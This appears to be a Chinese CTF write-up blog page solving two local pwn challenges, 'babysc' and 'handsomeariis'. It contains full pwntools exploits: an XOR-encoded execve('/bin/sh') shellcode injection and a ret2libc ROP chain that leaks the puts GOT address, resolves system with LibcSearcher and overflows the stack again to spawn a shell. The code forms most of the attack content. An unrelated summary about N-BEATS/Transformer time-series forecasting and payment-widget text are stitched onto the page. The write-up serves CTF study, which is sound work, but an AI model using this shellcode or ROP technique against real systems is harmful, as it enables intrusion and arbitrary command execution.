babysc和handsomeariis

博客介绍从汇编角度看,逻辑是读入数据到buf,经循环函数异或后执行,注入shellcode需先异或。还提及题目开启地址随机化和堆栈不可执行,fgets存在栈溢出,思路是构造rop链,先输出puts的got地址,再泄露出system和bin,最后溢出执行system。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

babysc

在这里插入图片描述

从汇编看,逻辑就是read读入一串数据到buf,然后一个循环函数,函数控制变量i加1和buf数据进行异或,然后将异或后的数据给rdx执行,所以,直接注入shellcode,shellcode需要先异或一次再注入。

exp如下:

from pwn import *
cn = process('./babysc')
offset="\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
pay=""
#for循环用来异或
for i in range(len(offset)):
 pay+=chr(ord(offset[i])^(i+1))#ord()函数主要用来返回对应字符的ascii码
print pay
cn.sendline(pay)
cn.interactive()

handsomeariis
保护,开启了地址随机化和堆栈不可执行
在这里插入图片描述

题目代码
在这里插入图片描述

fgets明显栈溢出,思路是构造rop链:先跳转到puts函数,输出puts的got地址,跳到main,并通过libseacher泄露出system和bin,然后再次溢出执行system。
先查找pop rdi;ret地址,接收参数。

exp

from pwn import *
from LibcSearcher import LibcSearcher
p = process("./handsomeariis")
elf = ELF("./handsomeariis")
pop_rdi_addr= 0x400873

payload = "Aris so handsoooome!\x00"#这一句等于s2,用来控制函数执行逻辑
payload = payload.ljust(0x20 , "a") + "a" * 8
 #ljust() 返回一个原字符串左对齐,并用a填充至指定长度的新字符串。
 #如果指定的长度小于原字符串的长度则返回原字符串。
 
payload += p64(pop_rdi_addr) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(0x400735)
#这里解释一下,跳转到pop rdi,将elf.got["puts"]作为参数传个rdi寄存器,调用puts函数,进而#泄露出puts的真实地址,然后返回main函数。

p.sendlineafter("Repeat me!" , payload)
p.recvuntil("Great! Power upupuppp!\n")

puts_addr = u64( p.recv(6).ljust(8, "\x00"))
#实际的操作系统中,一个地址的最高位的两个字节是00,
#而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的#6字节值,然后通过ljust函数把最高位的两字节填充成00。

libc = LibcSearcher("puts" , puts_addr)
libc_base = puts_addr - libc.dump("puts")
system = libc_base + libc.dump("system")
str_bin_sh = libc_base + libc.dump("str_bin_sh")

payload = "Aris so handsoooome!\x00"
payload = payload.ljust(0x20 , "a") + "a" * 8
payload += p64(pop_rdi_addr) + p64(str_bin_sh) + p64(system)
p.sendlineafter("Repeat me!" , payload)
p.interactive()
内容概要:本文档详细介绍了基于N-BEATS深度残差结构Transformer编码器的多变量时间序列预测模型的实现与应用。N-BEATS通过其独特的残差结构逐层逼近时间序列的趋势季节性成分,而Transformer编码器利用自注意力机制捕获长距离依赖关系多变量间的复杂交互。两者结合形成了一个高效的预测模型,旨在提升预测精度、泛化能力鲁棒性,并提供模型解释性支持。文档还涵盖了项目背景、目标、挑战及其解决方案,具体描述了模型架构实现细节,并提供了MATLAB代码示例,包括N-BEATS基础块、Transformer编码器层及主模型函数的定义与训练过程。 适合人群:具备一定机器学习深度学习基础的研究人员、工程师或开发者,特别是对时间序列预测MATLAB编程有一定了解的人士。 使用场景及目标:①解决多变量时间序列预测中的复杂依赖关系建模、长序列远距离依赖信息捕获、非平稳性与噪声干扰等问题;②优化计算效率与模型部署,提高模型的可扩展性适应性;③通过结合N-BEATSTransformer的优势,实现更高的预测精度更好的模型解释性。 其他说明:文档强调了模型在金融、工业、环境监测等领域的实际应用价值,同时也指出了模型训练中的计算资源效率瓶颈,并提供了相应的优化措施。项目不仅关注理论创新,更注重实际应用,为用户提供系统化的实现方案代码示例,推动MATLAB在深度学习时间序列领域的应用普及。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值